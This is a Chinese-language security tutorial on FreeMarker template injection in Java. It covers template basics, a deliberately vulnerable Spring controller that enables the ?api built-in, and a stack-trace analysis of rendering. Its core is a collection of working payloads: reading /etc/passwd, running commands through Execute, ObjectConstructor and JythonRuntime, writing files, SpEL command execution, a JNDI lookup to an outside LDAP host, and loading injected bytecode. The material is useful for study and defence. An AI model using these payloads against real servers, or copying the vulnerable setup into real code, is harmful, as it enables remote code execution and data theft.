Java安全之freemaker模版注入

freemaker简介

FreeMarker 是一款模板引擎：即一种基于模板和要改变的数据，并用来生成输出文本(HTML网页，电子邮件，配置文件，源代码等)的通用工具。在线手册：http://freemarker.foofun.cn/

模板文件存放在Web服务器上，当访问指定模版文件时， FreeMarker会动态转换模板，用最新的数据内容替换模板中 ${...}的部分，然后返回渲染结果。

freemaker中的一些概念：

${...}： FreeMarker将会输出真实的值来替换大括号内的表达式，这样的表达式被称为 interpolation(插值）
FTL 标签 (FreeMarker模板的语言标签)： FTL标签和HTML标签有一些相似之处，但是它们是FreeMarker的指令，是不会在输出中打印的。这些标签的名字以 # 开头。(用户自定义的FTL标签则需要使用 @ 来代替 #，但这属于更高级的话题了。)
注释： 注释和HTML的注释也很相似，但是它们使用 <#-- and --> 来标识。不像HTML注释那样，FTL注释不会出现在输出中(不出现在访问者的页面中)，因为 FreeMarker会跳过它们。

其他任何不是FTL标签，插值或注释的内容将被视为静态文本，这些东西不会被FreeMarker所解析；会被按照原样输出出来。

freemaker中的一些指令：http://freemarker.foofun.cn/dgui_quickstart_template.html

一般漏洞常位于后台可以编辑模版的地方，通过插入恶意的ftl指令到ftl文件中，当后端再次return或者process时即可触发代码执行。

主要代码

Configuration cfg = new Configuration();
cfg.setAPIBuiltinEnabled(true);	// 开启api
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);

StringWriter writer = new StringWriter();
template.process(root,writer);		//*
return writer.toString();

利用方式

api

这些内建函数从 FreeMarker 2.3.22 版本开始存在。

通过它可以访问底层Java Api Freemarker的BeanWrappers。这个内置函数默认不开启，但通过Configurable.setAPIBuiltinEnabled可以开启它。

如果value本身支持这个额外的特性， value?api 提供访问 value 的API (通常是 Java API)，比如 value?api.someJavaMethod()，当需要调用对象的Java方法时。

poc

 <#assign classLoader=object?api.class.protectionDomain.classLoader>
  eg1：// 未测试成功
  <#assign classLoader=object?api.class.getClassLoader()>
  ${classLoader.loadClass("our.desired.class")}

  eg2： 任意文件读
  <#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]
eg3: 
   <#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg4:
<#assign uri=object?api.class.getResource("/").toURI()>
    <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
    <#assign is=input?api.getInputStream()>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg5:获取classLoader
<#assign classLoader=object?api.class.protectionDomain.classLoader>
    <#assign clazz=classLoader.loadClass("ClassExposingGSON")>
    <#assign field=clazz?api.getField("GSON")>
    <#assign gson=field?api.get(null)>
    <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
    ${ex("calc")}

New

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

针对new的利用方式，官方提供的一种限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器(从 2.3.17版开始)。：

UNRESTRICTED_RESOLVER：简单地调用ClassUtil.forName(String)。
SAFER_RESOLVER：和第一个类似，但禁止解析ObjectConstructor，Execute和freemarker.template.utility.JythonRuntime。
ALLOWS_NOTHING_RESOLVER：禁止解析任何类。

写文件

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}

SpEL

// 命令执行
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}

// JNDI
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi:///jndi/ldap://172.16.4.1:1389/Basic/Command\"),new+java.util.Hashtable()).connect()").getValue()}

// 加载字节码
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}

分析

先会通过StringTemplateLoader#putTemplate将我们输入的模版hello.ftl存放在StringTemplateLoader类中templates属性

 @RequestMapping(value = "/template", method =  RequestMethod.POST)
    public String template(@RequestBody Map<String,String> templates) throws IOException {
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        for(String templateKey : templates.keySet()){
            stringLoader.putTemplate(templateKey, templates.get(templateKey));
        }
        con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                con.getTemplateLoader()}));
        con.setAPIBuiltinEnabled(true);
        return "index";
    }

之后将上面加载恶意模版的StringTemplateLoader通过Configuration#setTemplateLoader添加到cache中

之后通过return hello会去调用我们添加的恶意模版（当然这里是demo代码，）

后面部分依然走的SpringMVC工作流程，return modelandview的时候SpringMVC会去找对应的视图解析器来解析渲染模版并返回视图到前端

堆栈如下：

doRender:285, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedTemplateModel:235, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedOutputModel:167, AbstractTemplateView (org.springframework.web.servlet.view)
render:303, AbstractView (org.springframework.web.servlet.view)
render:1286, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1041, DispatcherServlet (org.springframework.web.servlet)
doDispatch:984, DispatcherServlet (org.springframework.web.servlet)
doService:901, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:661, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)

这里直接跟到freemaker里面看freemaker的处理，跟进FreeMarkerView#doRender方法

这里首先通过gettemplate()获取到我们之前构造的恶意模版

   protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
        template.process(model, response.getWriter());
    }

之后在processTemplate调用Template#process,通过visit方法解析ftl指令触发代码执行